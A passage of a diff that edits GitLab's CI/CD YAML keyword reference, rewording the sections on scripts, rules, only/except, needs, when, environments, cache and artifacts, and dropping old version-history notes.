before each job, +but after [artifacts](#artifacts) are restored. Scripts specified in `before_script` are concatenated with any scripts specified in the main [`script`](#script), and executed together in a single shell. @@ -646,27 +641,25 @@ It's possible to overwrite a globally defined `before_script` if you define it i ```yaml default: before_script: - - echo "Execute this in all jobs that don't already have a before_script section." + - echo "Execute this script in all jobs that don't already have a before_script section." job1: script: - - echo "This executes after the global before_script." + - echo "This script executes after the global before_script." job: before_script: - - echo "Execute this instead of the global before_script." + - echo "Execute this script instead of the global before_script." script: - - echo "This executes after the job's `before_script`" + - echo "This script executes after the job's `before_script`" ``` You can use [YAML anchors with `before_script`](#yaml-anchors-for-scripts). #### `after_script` -Introduced in GitLab 8.7 and requires GitLab Runner v1.2. - -`after_script` is used to define commands that run after each job, including failed -jobs. This must be an array. +`after_script` is used to define an array of commands that run after each job, +including failed jobs. If a job times out or is cancelled, the `after_script` commands are not executed. Support for executing `after_script` commands for timed-out or cancelled jobs @@ -688,17 +681,17 @@ Scripts specified in `after_script` are executed in a new shell, separate from a ```yaml default: after_script: - - echo "Execute this in all jobs that don't already have an after_script section." + - echo "Execute this script in all jobs that don't already have an after_script section." job1: script: - - echo "This executes first. When it completes, the global after_script executes." + - echo "This script executes first. When it completes, the global after_script executes." job: script: - - echo "This executes first. When it completes, the job's `after_script` executes." + - echo "This script executes first. When it completes, the job's `after_script` executes." after_script: - - echo "Execute this instead of the global after_script." + - echo "Execute this script instead of the global after_script." ``` You can use [YAML anchors with `after_script`](#yaml-anchors-for-scripts). @@ -715,7 +708,7 @@ You can use special syntax in [`script`](README.md#script) sections to: ### `stage` `stage` is defined per-job and relies on [`stages`](#stages), which is defined -globally. It allows to group jobs into different stages, and jobs of the same +globally. Use `stage` to define which stage a job runs in, and jobs of the same `stage` are executed in parallel (subject to [certain conditions](#using-your-own-runners)). For example: ```yaml @@ -854,9 +847,8 @@ If you do want to include the `rake test`, see [`before_script`](#before_script) `.tests` in this example is a [hidden job](#hide-jobs), but it's possible to inherit from regular jobs as well. -`extends` supports multi-level inheritance. You should avoid using more than 3 levels, -but you can use as many as eleven. -The following example has two levels of inheritance: +`extends` supports multi-level inheritance. You should avoid using more than three levels, +but you can use as many as eleven. The following example has two levels of inheritance: ```yaml .tests: @@ -922,7 +914,7 @@ rspec: - rake rspec ``` -This results in the following `rspec` job: +The result is this `rspec` job: ```yaml rspec: @@ -961,7 +953,7 @@ For example, if you have a local `included.yml` file: - echo Hello! ``` -Then, in `.gitlab-ci.yml` you can use it like this: +Then, in `.gitlab-ci.yml`: ```yaml include: included.yml @@ -991,7 +983,7 @@ If you attempt to use both keywords in the same job, the linter returns a #### Rules attributes -The job attributes allowed by `rules` are: +The job attributes you can use with `rules` are: - [`when`](#when): If not defined, defaults to `when: on_success`. - If used as `when: delayed`, `start_in` is also required. @@ -1047,7 +1039,7 @@ For example, using `if` clauses to strictly limit when jobs run: ```yaml job: - script: "echo Hello, Rules!" + script: echo "Hello, Rules!" rules: - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' when: manual @@ -1061,11 +1053,11 @@ In this example: is added to the [merge request pipeline](../merge_request_pipelines/index.md) with attributes of: - `when: manual` (manual job) - - `allow_failure: true` (allows the pipeline to continue running even if the manual job is not run) + - `allow_failure: true` (the pipeline continues running even if the manual job is not run) - If the pipeline is **not** for a merge request, the first rule doesn't match, and the second rule is evaluated. - If the pipeline is a scheduled pipeline, the second rule matches, and the job - is added to the scheduled pipeline. Since no attributes were defined, it is added + is added to the scheduled pipeline. No attributes were defined, so it is added with: - `when: on_success` (default) - `allow_failure: false` (default) @@ -1076,7 +1068,7 @@ run them in all other cases: ```yaml job: - script: "echo Hello, Rules!" + script: echo "Hello, Rules!" rules: - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' when: never @@ -1100,8 +1092,8 @@ for more details. Jobs defined with `rules` can trigger multiple pipelines with the same action. You don't have to explicitly configure rules for each type of pipeline to trigger them -accidentally. Rules that are too loose (allowing too many types of pipelines) could -cause a second pipeline to run unexpectedly. +accidentally. Rules that are too broad could cause simultaneous pipelines of a different +type to run unexpectedly. Some configurations that have the potential to cause duplicate pipelines cause a [pipeline warning](../troubleshooting.md#pipeline-warnings) to be displayed. @@ -1111,7 +1103,7 @@ For example: ```yaml job: - script: "echo This creates double pipelines!" + script: echo "This job creates double pipelines!" rules: - if: '$CUSTOM_VARIABLE == "false"' when: never @@ -1123,18 +1115,18 @@ other pipelines, including **both** push (branch) and merge request pipelines. W this configuration, every push to an open merge request's source branch causes duplicated pipelines. -There are multiple ways to avoid this: +There are multiple ways to avoid duplicate pipelines: - Use [`workflow: rules`](#workflowrules) to specify which types of pipelines - can run. To eliminate duplicate pipelines, allow only merge request pipelines - or push (branch) pipelines. + can run. To eliminate duplicate pipelines, use merge request pipelines only + or push (branch) pipelines only. - Rewrite the rules to run the job only in very specific cases, and avoid using a final `when:` rule: ```yaml job: - script: "echo This does NOT create double pipelines!" + script: echo "This job does NOT create double pipelines!" rules: - if: '$CUSTOM_VARIABLE == "true" && $CI_PIPELINE_SOURCE == "merge_request_event"' ``` @@ -1148,7 +1140,7 @@ without `workflow: rules`: ```yaml job: - script: "echo This does NOT create double pipelines!" + script: echo "This job does NOT create double pipelines!" rules: - if: '$CI_PIPELINE_SOURCE == "push"' when: never @@ -1159,7 +1151,7 @@ Do not include both push and merge request pipelines in the same job: ```yaml job: - script: "echo This creates double pipelines!" + script: echo "This job creates double pipelines!" rules: - if: '$CI_PIPELINE_SOURCE == "push"' - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' @@ -1171,10 +1163,10 @@ and `rules` can cause issues that are difficult to troubleshoot: ```yaml job-with-no-rules: - script: "echo This job runs in branch pipelines." + script: echo "This job runs in branch pipelines." job-with-rules: - script: "echo This job runs in merge request pipelines." + script: echo "This job runs in merge request pipelines." rules: - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' ``` @@ -1196,7 +1188,7 @@ See the [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/201845) fo #### `rules:if` `rules:if` clauses determine whether or not jobs are added to a pipeline by evaluating -a simple `if` statement. If the `if` statement is true, the job is either included +an `if` statement. If the `if` statement is true, the job is either included or excluded from a pipeline. In plain English, `if` rules can be interpreted as one of: - "If this rule evaluates to true, add the job" (default). @@ -1217,7 +1209,7 @@ For example: ```yaml job: - script: "echo Hello, Rules!" + script: echo "Hello, Rules!" rules: - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/ && $CI_MERGE_REQUEST_TARGET_BRANCH_NAME == "master"' when: always @@ -1250,7 +1242,7 @@ check the value of the `$CI_PIPELINE_SOURCE` variable: | `external` | When using CI services other than GitLab. | | `external_pull_request_event` | When an external pull request on GitHub is created or updated. See [Pipelines for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests). | | `merge_request_event` | For pipelines created when a merge request is created or updated. Required to enable [merge request pipelines](../merge_request_pipelines/index.md), [merged results pipelines](../merge_request_pipelines/pipelines_for_merged_results/index.md), and [merge trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md). | -| `parent_pipeline` | For pipelines triggered by a [parent/child pipeline](../parent_child_pipelines.md) with `rules`, use this in the child pipeline configuration so that it can be triggered by the parent pipeline. | +| `parent_pipeline` | For pipelines triggered by a [parent/child pipeline](../parent_child_pipelines.md) with `rules`. Use this pipeline source in the child pipeline configuration so that it can be triggered by the parent pipeline. | | `pipeline` | For [multi-project pipelines](../multi_project_pipelines.md) created by [using the API with `CI_JOB_TOKEN`](../multi_project_pipelines.md#triggering-multi-project-pipelines-through-api), or the [`trigger`](#trigger) keyword. | | `push` | For pipelines triggered by a `git push` event, including for branches and tags. | | `schedule` | For [scheduled pipelines](../pipelines/schedules.md). | @@ -1262,7 +1254,7 @@ For example: ```yaml job: - script: "echo Hello, Rules!" + script: echo "Hello, Rules!" rules: - if: '$CI_PIPELINE_SOURCE == "schedule"' when: manual @@ -1278,7 +1270,7 @@ Another example: ```yaml job: - script: "echo Hello, Rules!" + script: echo "Hello, Rules!" rules: - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' - if: '$CI_PIPELINE_SOURCE == "schedule"' @@ -1293,8 +1285,8 @@ Other commonly used variables for `if` clauses: - `if: $CI_COMMIT_BRANCH`: If changes are pushed to any branch. - `if: '$CI_COMMIT_BRANCH == "master"'`: If changes are pushed to `master`. - `if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH'`: If changes are pushed to the default - branch (usually `master`). Useful if reusing the same configuration in multiple - projects with potentially different default branches. + branch (usually `master`). Use when you want to have the same configuration in multiple + projects with different default branches. - `if: '$CI_COMMIT_BRANCH =~ /regex-expression/'`: If the commit branch matches a regular expression. - `if: '$CUSTOM_VARIABLE !~ /regex-expression/'`: If the [custom variable](../variables/README.md#custom-environment-variables) `CUSTOM_VARIABLE` does **not** match a regular expression. @@ -1325,8 +1317,8 @@ docker build: In this example: - If the pipeline is a merge request pipeline, check `Dockerfile` for changes. -- If `Dockerfile` has changed, add the job to the pipeline as a manual job, and allow the pipeline - to continue running even if the job is not triggered (`allow_failure: true`). +- If `Dockerfile` has changed, add the job to the pipeline as a manual job, and the pipeline + continues running even if the job is not triggered (`allow_failure: true`). - If `Dockerfile` has not changed, do not add job to any pipeline (same as `when: never`). To use `rules: changes` with branch pipelines instead of merge request pipelines, @@ -1350,14 +1342,7 @@ if there is no `if:` statement that limits the job to branch or merge request pi ##### Variables in `rules:changes` > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34272) in GitLab 13.6. -> - It was [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. -> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/267192) in GitLab 13.6. -> - It's enabled on GitLab.com. -> - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-variables-support-in-ruleschanges). **(CORE ONLY)** - -CAUTION: **Warning:** -This feature might not be available to you. Check the **version history** note above for details. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/267192) in GitLab 13.7. Environment variables can be used in `rules:changes` expressions to determine when to add jobs to a pipeline: @@ -1376,33 +1361,12 @@ The `$` character can be used for both variables and paths. For example, if the `$DOCKERFILES_DIR` variable exists, its value is used. If it does not exist, the `$` is interpreted as being part of a path. -###### Enable or disable variables support in `rules:changes` **(CORE ONLY)** - -Variables support in `rules:changes` is under development, but is ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can opt to disable it. - -To enable it: - -```ruby -Feature.enable(:ci_variable_expansion_in_rules_changes) -``` - -To disable it: - -```ruby -Feature.disable(:ci_variable_expansion_in_rules_changes) -``` - #### `rules:exists` > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24021) in GitLab 12.4. `exists` accepts an array of paths and matches if any of these paths exist -as files in the repository. - -For example: +as files in the repository: ```yaml job: @@ -1412,10 +1376,7 @@ job: - Dockerfile ``` -You can also use glob patterns to match multiple files in any directory within -the repository. - -For example: +You can also use glob patterns to match multiple files in any directory in the repository: ```yaml job: @@ -1432,7 +1393,7 @@ checks. After the 10,000th check, rules with patterned globs always match. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30235) in GitLab 12.8. -You can use [`allow_failure: true`](#allow_failure) within `rules:` to allow a job to fail, or a manual job to +You can use [`allow_failure: true`](#allow_failure) in `rules:` to allow a job to fail, or a manual job to wait for action, without stopping the pipeline itself. All jobs using `rules:` default to `allow_failure: false` if `allow_failure:` is not defined. @@ -1442,7 +1403,7 @@ triggered by the particular rule. ```yaml job: - script: "echo Hello, Rules!" + script: echo "Hello, Rules!" rules: - if: '$CI_MERGE_REQUEST_TARGET_BRANCH_NAME == "master"' when: manual @@ -1471,7 +1432,7 @@ docker build: - Dockerfile - docker/scripts/* when: manual - # - when: never would be redundant here, this is implied any time rules are listed. + # - "when: never" would be redundant here. It is implied any time rules are listed. ``` Keywords such as `branches` or `refs` that are available for @@ -1513,11 +1474,10 @@ There are a few rules that apply to the usage of job policy: - `only` and `except` are inclusive. If both `only` and `except` are defined in a job specification, the ref is filtered by `only` and `except`. -- `only` and `except` allow the use of regular expressions ([supported regexp syntax](#supported-onlyexcept-regexp-syntax)). -- `only` and `except` allow to specify a repository path to filter jobs for - forks. +- `only` and `except` can use regular expressions ([supported regexp syntax](#supported-onlyexcept-regexp-syntax)). +- `only` and `except` can specify a repository path to filter jobs for forks. -In addition, `only` and `except` allow the use of special keywords: +In addition, `only` and `except` can use special keywords: | **Value** | **Description** | |--------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| @@ -1638,8 +1598,8 @@ Only a subset of features provided by [Ruby Regexp](https://ruby-doc.org/core/Re are now supported. From GitLab 11.9.7 to GitLab 12.0, GitLab provided a feature flag to -let you use the unsafe regexp syntax. This flag allowed -compatibility with the previous syntax version so you could gracefully migrate to the new syntax. +let you use unsafe regexp syntax. After migrating to safe syntax, you should disable +this feature flag again: ```ruby Feature.enable(:allow_unsafe_ruby_regexp) @@ -1789,8 +1749,8 @@ job1: Using the `changes` keyword with `only` or `except` makes it possible to define if a job should be created based on files modified by a Git push event. -The `only:changes` policy is only useful for pipelines triggered by the following -refs: +Use the `only:changes` policy for pipelines triggered by the following +refs only: - `branches` - `external_pull_requests` @@ -1799,8 +1759,8 @@ refs: CAUTION: **Caution:** In pipelines with [sources other than the three above](../variables/predefined_variables.md) `changes` can't determine if a given file is new or old and always returns `true`. -This includes pipelines triggered by pushing new tags. Configuring jobs to use `only: changes` -with other `only: refs` keywords is possible, but not recommended. +You can configure jobs to use `only: changes` with other `only: refs` keywords. However, +those jobs ignore the changes and always run. A basic example of using `only: changes`: @@ -1830,7 +1790,7 @@ If you use `only:changes` with [only allow merge requests to be merged if the pi you should [also use `only:merge_requests`](#using-onlychanges-with-pipelines-for-merge-requests). Otherwise it may not work as expected. You can also use glob patterns to match multiple files in either the root directory -of the repository, or in _any_ directory within the repository. However, they must be wrapped +of the repository, or in _any_ directory in the repository. However, they must be wrapped in double quotes or GitLab can't parse them. For example: ```yaml @@ -1869,10 +1829,9 @@ With [pipelines for merge requests](../merge_request_pipelines/index.md), it's possible to define a job to be created based on files modified in a merge request. -To deduce the correct base SHA of the source branch, we recommend combining -this keyword with `only: [merge_requests]`. This way, file differences are correctly -calculated from any further commits, thus all changes in the merge requests are properly -tested in pipelines. +Use this keyword with `only: [merge_requests]` so GitLab can find the correct base +SHA of the source branch. File differences are correctly calculated from any further +commits, and all changes in the merge requests are properly tested in pipelines. For example: @@ -1937,11 +1896,11 @@ runs. > - In GitLab 12.3, maximum number of jobs in `needs` array raised from five to 50. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30631) in GitLab 12.8, `needs: []` lets jobs start immediately. -The `needs:` keyword enables executing jobs out-of-order, allowing you to implement -a [directed acyclic graph](../directed_acyclic_graph/index.md) in your `.gitlab-ci.yml`. +Use the `needs:` keyword to execute jobs out-of-order. Relationships between jobs +that use `needs` can be visualized as a [directed acyclic graph](../directed_acyclic_graph/index.md). -This lets you run some jobs without waiting for other ones, disregarding stage ordering -so you can have multiple stages running concurrently. +You can ignore stage ordering and run some jobs without waiting for others to complete. +Jobs in multiple stages can run concurrently. Let's consider the following example: @@ -2009,7 +1968,7 @@ This example creates four paths of execution: ##### Changing the `needs:` job limit **(CORE ONLY)** -The maximum number of jobs that can be defined within `needs:` defaults to 50. +The maximum number of jobs that can be defined in `needs:` defaults to 50. A GitLab administrator with [access to the GitLab Rails console](../../administration/feature_flags.md) can choose a custom limit. For example, to set the limit to 100: @@ -2181,7 +2140,7 @@ The default value is `false`, except for [manual](#whenmanual) jobs using the `when: manual` syntax, unless using [`rules:`](#rules) syntax, where all jobs default to false, *including* `when: manual` jobs. -When `allow_failure` is enabled and the job fails, the job shows an orange warning in the UI. +When `allow_failure` is set to `true` and the job fails, the job shows an orange warning in the UI. However, the logical flow of the pipeline considers the job a success/passed, and is not blocked. @@ -2218,16 +2177,13 @@ failure. `when` can be set to one of the following values: -1. `on_success` - execute job only when all jobs from prior stages - succeed (or are considered succeeding because they have `allow_failure: true`). - This is the default. -1. `on_failure` - execute job only when at least one job from prior stages - fails. -1. `always` - execute job regardless of the status of jobs from prior stages. -1. `manual` - execute job manually (added in GitLab 8.10). Read about - [manual jobs](#whenmanual) below. -1. `delayed` - execute job after a certain period (added in GitLab 11.14). - Read about [delayed jobs](#whendelayed) below. +1. `on_success` (default) - Execute job only when all jobs in earlier stages succeed, + or are considered successful because they have `allow_failure: true`. +1. `on_failure` - Execute job only when at least one job in an earlier stage fails. +1. `always` - Execute job regardless of the status of jobs in earlier stages. +1. `manual` - Execute job [manually](#whenmanual). +1. `delayed` - [Delay the execution of a job](#whendelayed) for a specified duration. + Added in GitLab 11.14. 1. `never`: - With [`rules`](#rules), don't execute job. - With [`workflow:rules`](#workflowrules), don't run pipeline. @@ -2280,10 +2236,6 @@ The above script: #### `when:manual` -> - Introduced in GitLab 8.10. -> - Blocking manual jobs were introduced in GitLab 9.0. -> - Protected actions were introduced in GitLab 9.2. - A manual job is a type of job that is not executed automatically and must be explicitly started by a user. You might want to use manual jobs for things like deploying to production. @@ -2322,15 +2274,14 @@ can opt to disable it. ##### Protecting manual jobs **(PREMIUM)** -It's possible to use [protected environments](../environments/protected_environments.md) -to define a precise list of users authorized to run a manual job. By allowing only -users associated with a protected environment to trigger manual jobs, it's possible -to implement some special use cases, such as: +Use [protected environments](../environments/protected_environments.md) +to define a list of users authorized to run a manual job. You can authorize only +the users associated with a protected environment to trigger manual jobs, which can: -- More precisely limiting who can deploy to an environment. -- Enabling a pipeline to be blocked until an approved user "approves" it. +- More precisely limit who can deploy to an environment. +- Block a pipeline until an approved user "approves" it. -To do this, you must: +To protect a manual job: 1. Add an `environment` to the job. For example: @@ -2353,17 +2304,17 @@ To do this, you must: this list can trigger this manual job, as well as GitLab administrators who are always able to use protected environments. -Additionally, if you define a manual job as blocking by adding `allow_failure: false`, -the pipeline's next stages don't run until the manual job is triggered. You can use this -to define a list of users allowed to "approve" later pipeline -stages by triggering the blocking manual job. +You can use protected environments with blocking manual jobs to have a list of users +allowed to approve later pipeline stages. Add `allow_failure: false` to the protected +manual job and the pipeline's next stages only run after the manual job is triggered +by authorized users. #### `when:delayed` > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/51352) in GitLab 11.4. -Delayed job are for executing scripts after a certain period. -This is useful if you want to avoid jobs entering `pending` state immediately. +Use `when: delayed` to execute scripts after a waiting period, or if you want to avoid +jobs immediately entering the `pending` state. You can set the period with `start_in` key. The value of `start_in` key is an elapsed time in seconds, unless a unit is provided. `start_in` key must be less than or equal to one week. Examples of valid values include: @@ -2375,7 +2326,7 @@ provided. `start_in` key must be less than or equal to one week. Examples of val - `1 week` When there is a delayed job in a stage, the pipeline doesn't progress until the delayed job has finished. -This means this keyword can also be used for inserting delays between different stages. +This keyword can also be used for inserting delays between different stages. The timer of a delayed job starts immediately after the previous stage has completed. Similar to other types of jobs, a delayed job's timer doesn't start unless the previous stage passed. @@ -2398,11 +2349,7 @@ Soon GitLab Runner picks up and starts the job. ### `environment` -> - Introduced in GitLab 8.9. -> - You can read more about environments and find more examples in the -> [documentation about environments](../environments/index.md). - -`environment` is used to define that a job deploys to a specific environment. +Use `environment` to define the [environment](../environments/index.md) that a job deploys to. If `environment` is specified and no environment under that name exists, a new one is created automatically. @@ -2420,13 +2367,10 @@ deployment to the `production` environment. #### `environment:name` -> - Introduced in GitLab 8.11. -> - Before GitLab 8.11, the name of an environment could be defined as a string like -> `environment: production`. The recommended way now is to define it under the -> `name` keyword. -> - The `name` keyword can use any of the defined CI variables, -> including predefined, secure variables and `.gitlab-ci.yml` [`variables`](#variables). -> You however can't use variables defined under `script`. +The `environment: name` keyword can use any of the defined CI variables, +including predefined, secure, or `.gitlab-ci.yml` [`variables`](#variables). + +You can't use variables defined in a `script` section. The `environment` name can contain: @@ -2457,12 +2401,10 @@ deploy to production: #### `environment:url` -> - Introduced in GitLab 8.11. -> - Before GitLab 8.11, the URL could be added only in GitLab's UI. The -> recommended way now is to define it in `.gitlab-ci.yml`. -> - The `url` keyword can use any of the defined CI variables, -> including predefined, secure variables and `.gitlab-ci.yml` [`variables`](#variables). -> You however can't use variables defined under `script`. +The `url` keyword can use any of the defined CI variables, +including predefined, secure, or `.gitlab-ci.yml` [`variables`](#variables). + +You can't use variables defined in a `script` section. This optional value exposes buttons that take you to the defined URL @@ -2538,8 +2480,8 @@ Also in the example, `GIT_STRATEGY` is set to `none`. If the the runner won’t try to check out the code after the branch is deleted. The example also overwrites global variables. If your `stop` `environment` job depends -on global variables, you can use [anchor variables](#yaml-anchors-for-variables) when you set the `GIT_STRATEGY`. -This changes the job without overriding the global variables. +on global variables, use [anchor variables](#yaml-anchors-for-variables) when you set the `GIT_STRATEGY` +to change the job without overriding the global variables. The `stop_review_app` job is **required** to have the following keywords defined: @@ -2614,9 +2556,8 @@ To follow progress on support for GitLab-managed clusters, see the > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/21971) in GitLab 8.12 and GitLab Runner 1.6. > - The `$CI_ENVIRONMENT_SLUG` was [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/22864) in GitLab 8.15. -> - The `name` and `url` keywords can use any of the defined CI variables, -> including predefined, secure variables and `.gitlab-ci.yml` [`variables`](#variables). -> You however can't use variables defined under `script`. + +Use CI/CD [variables](../variables/README.md) to dynamically name environments. For example: @@ -2629,36 +2570,27 @@ deploy as review app: url: https://$CI_ENVIRONMENT_SLUG.example.com/ ``` -The `deploy as review app` job is marked as deployment to dynamically -create the `review/$CI_COMMIT_REF_NAME` environment, where `$CI_COMMIT_REF_NAME` +The `deploy as review app` job is marked as a deployment to dynamically +create the `review/$CI_COMMIT_REF_NAME` environment. `$CI_COMMIT_REF_NAME` is an [environment variable](../variables/README.md) set by the runner. The `$CI_ENVIRONMENT_SLUG` variable is based on the environment name, but suitable -for inclusion in URLs. In this case, if the `deploy as review app` job is run -in a branch named `pow`, this environment would be accessible with an URL like -`https://review-pow.example.com/`. - -This implies that the underlying server that hosts the application -is properly configured. +for inclusion in URLs. If the `deploy as review app` job runs in a branch named +`pow`, this environment would be accessible with a URL like `https://review-pow.example.com/`. The common use case is to create dynamic environments for branches and use them -as Review Apps. You can see a simple example using Review Apps at +as Review Apps. You can see an example that uses Review Apps at <https://gitlab.com/gitlab-examples/review-apps-nginx/>. ### `cache` -> - Introduced in GitLab Runner v0.7.0. -> - `cache` can be set globally and per-job. -> - From GitLab 9.0, caching is enabled and shared between pipelines and jobs -> by default. -> - From GitLab 9.2, caches are restored before [artifacts](#artifacts). - `cache` is used to specify a list of files and directories that should be -cached between jobs. You can only use paths that are within the local working -copy. +cached between jobs. You can only use paths that are in the local working copy. If `cache` is defined outside the scope of jobs, it means it's set globally and all jobs use that definition. +Caching is shared between pipelines and jobs. Caches are restored before [artifacts](#artifacts). + Read how caching works and find out some good practices in the [caching dependencies documentation](../caching/index.md). @@ -2707,17 +2639,15 @@ Otherwise cache content can be overwritten. #### `cache:key` -> Introduced in GitLab Runner v1.0.0. - The `key` keyword defines the affinity of caching between jobs. You can have a single cache for all jobs, cache per-job, cache per-branch, -or any other way that fits your workflow. This way, you can fine tune caching, +or any other way that fits your workflow. You can fine tune caching, including caching data between different jobs or even different branches. The `cache:key` variable can use any of the [predefined variables](../variables/README.md). The default key, if not set, is just literal `default`, which means everything is shared between -pipelines and jobs by default, starting from GitLab 9.0. +pipelines and jobs by default. For example, to enable per-branch caching: @@ -2810,7 +2740,7 @@ If neither file was changed in any commits, the prefix is added to `default`, so key in the example would be `test-default`. Like `cache:key`, `prefix` can use any of the [predefined variables](../variables/README.md), -but the following are not allowed: +but cannot include: - the `/` character (or the equivalent URI-encoded `%2F`) - a value made only of `.` (or the equivalent URI-encoded `%2E`) @@ -2867,9 +2797,9 @@ rspec: `cache:when` defines when to save the cache, based on the status of the job. You can set `cache:when` to: -- `on_success` - save the cache only when the job succeeds. This is the default. -- `on_failure` - save the cache only when the job fails. -- `always` - save the cache regardless of the job status. +- `on_success` (default): Save the cache only when the job succeeds. +- `on_failure`: Save the cache only when the job fails. +- `always`: Always save the cache. For example, to store a cache whether or not the job fails or succeeds: @@ -2884,17 +2814,14 @@ rspec: #### `cache:policy` -> Introduced in GitLab 9.4. - The default behavior of a caching job is to download the files at the start of execution, and to re-upload them at the end. Any changes made by the job are persisted for future runs. This behavior is known as the `pull-push` cache policy. If you know the job does not alter the cached files, you can skip the upload step -by setting `policy: pull` in the job specification. Typically, this would be -twinned with an ordinary cache job at an earlier stage to ensure the cache -is updated from time to time: +by setting `policy: pull` in the job specification. You can add an ordinary cache +job at an earlier stage to ensure the cache is updated from time to time: ```yaml stages: @@ -2921,9 +2848,8 @@ rspec: - bundle exec rspec ... ``` -This helps to speed up job execution and reduce load on the cache server. -It is especially helpful when you have a large number of cache-using jobs executing in -parallel. +The `pull` policy speeds up job execution and reduces load on the cache server. It +can be used when you have many jobs that use caches executing in parallel. If you have a job that unconditionally recreates the cache without referring to its previous contents, you can skip the download step. @@ -2931,12 +2857,6 @@ To do so, add `policy: push` to the job. ### `artifacts` -> - Introduced in GitLab Runner v0.7.0 for non-Windows platforms. -> - Windows support was added in GitLab Runner v.1.0.0. -> - From GitLab 9.2, caches are restored before artifacts. -> - Not all executors are [supported](https://docs.gitlab.com/runner/executors/#compatibility-chart). -> - Job artifacts are only collected for successful jobs by default. - `artifacts` is used to specify a list of files and directories that are attached to the job when it [succeeds, fails, or always](#artifactswhen). @@ -2944,6 +2864,11 @@ The artifacts are sent to GitLab after the job finishes. They are available for download in the GitLab UI if the size is not larger than the [maximum artifact size](../../user/gitlab_com/index.md#gitlab-cicd). +Job artifacts are only collected for successful jobs by default, and +artifacts are restored after [caches](#cache). + +[Not all executors can use caches](https://docs.gitlab.com/runner/executors/#compatibility-chart). + [Read more about artifacts](../pipelines/job_artifacts.md). #### `artifacts:paths` @@ -3079,11 +3004,8 @@ Note the following: #### `artifacts:name` -> Introduced in GitLab 8.6 and GitLab Runner v1.1.0. - Use the `name` directive to define the name of the created artifacts -archive. You can specify a unique name for every archive, which can be -useful when you want to download the archive from GitLab. The `artifacts:name` +archive. You can specify a unique name for every archive. The `artifacts:name` variable can make use of any of the [predefined variables](../variables/README.md). The default name is `artifacts`, which becomes `artifacts.zip` when you download it. @@ -3190,16 +3112,14 @@ artifacts: #### `artifacts:when` -> Introduced in GitLab 8.9 and GitLab Runner v1.3.0. - `artifacts:when` is used to upload artifacts on job failure or despite the failure. `artifacts:when` can be set to one of the following values: -1. `on_success` - upload artifacts only when the job succeeds. This is the default. -1. `on_failure` - upload artifacts only when the job fails. -1. `always` - upload artifacts regardless of the job status. +1. `on_success` (default): Upload artifacts only when the job succeeds. +1. `on_failure`: Upload artifacts only when the job fails. +1. `always`: Always upload artifacts. For example, to upload artifacts only when a job fails: @@ -3211,8 +3131,6 @@ job: #### `artifacts:expire_in` -> Introduced in GitLab 8.9 and GitLab Runner v1.3.0. - Use `expire_in` to specify how long artifacts are active before they expire and are deleted. @@ -3264,27 +3182,25 @@ It also exposes these reports in GitLab's UI (merge requests, pipeline views, an These are the available report types: -| Keyword | Description | -|--------------------------------------------------------------------------------------------------------------------------------------|-------------| -| [`artifacts:reports:cobertura`](../pipelines/job_artifacts.md#artifactsreportscobertura) | The `cobertura` report collects Cobertura coverage XML files. | -| [`artifacts:reports:codequality`](../pipelines/job_artifacts.md#artifactsreportscodequality) | The `codequality` report collects CodeQuality issues. | +| Keyword | Description | +|-----------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------| +| [`artifacts:reports:cobertura`](../pipelines/job_artifacts.md#artifactsreportscobertura) | The `cobertura` report collects Cobertura coverage XML files. | +| [`artifacts:reports:codequality`](../pipelines/job_artifacts.md#artifactsreportscodequality) | The `codequality` report collects CodeQuality issues. | | [`artifacts:reports:container_scanning`](../pipelines/job_artifacts.md#artifactsreportscontainer_scanning) **(ULTIMATE)** | The `container_scanning` report collects Container Scanning vulnerabilities. | | [`artifacts:reports:dast`](../pipelines/job_artifacts.md#artifactsreportsdast) **(ULTIMATE)** | The `dast` report collects Dynamic Application Security Testing vulnerabilities. | | [`artifacts:reports:dependency_scanning`](../pipelines/job_artifacts.md#artifactsreportsdependency_scanning) **(ULTIMATE)** | The `dependency_scanning` report collects Dependency Scanning vulnerabilities. | -| [`artifacts:reports:dotenv`](../pipelines/job_artifacts.md#artifactsreportsdotenv) | The `dotenv` report collects a set of environment variables. | -| [`artifacts:reports:junit`](../pipelines/job_artifacts.md#artifactsreportsjunit) | The `junit` report collects JUnit XML files. | +| [`artifacts:reports:dotenv`](../pipelines/job_artifacts.md#artifactsreportsdotenv) | The `dotenv` report collects a set of environment variables. | +| [`artifacts:reports:junit`](../pipelines/job_artifacts.md#artifactsreportsjunit) | The `junit` report collects JUnit XML files. | | [`artifacts:reports:license_management`](../pipelines/job_artifacts.md#artifactsreportslicense_management) **(ULTIMATE)** | The `license_management` report collects Licenses (*removed from GitLab 13.0*). | | [`artifacts:reports:license_scanning`](../pipelines/job_artifacts.md#artifactsreportslicense_scanning) **(ULTIMATE)** | The `license_scanning` report collects Licenses. | -| [`artifacts:reports:load_performance`](../pipelines/job_artifacts.md#artifactsreportsload_performance) **(PREMIUM)** | The `load_performance` report collects load performance metrics. | -| [`artifacts:reports:metrics`](../pipelines/job_artifacts.md#artifactsreportsmetrics) **(PREMIUM)** | The `metrics` report collects Metrics. | -| 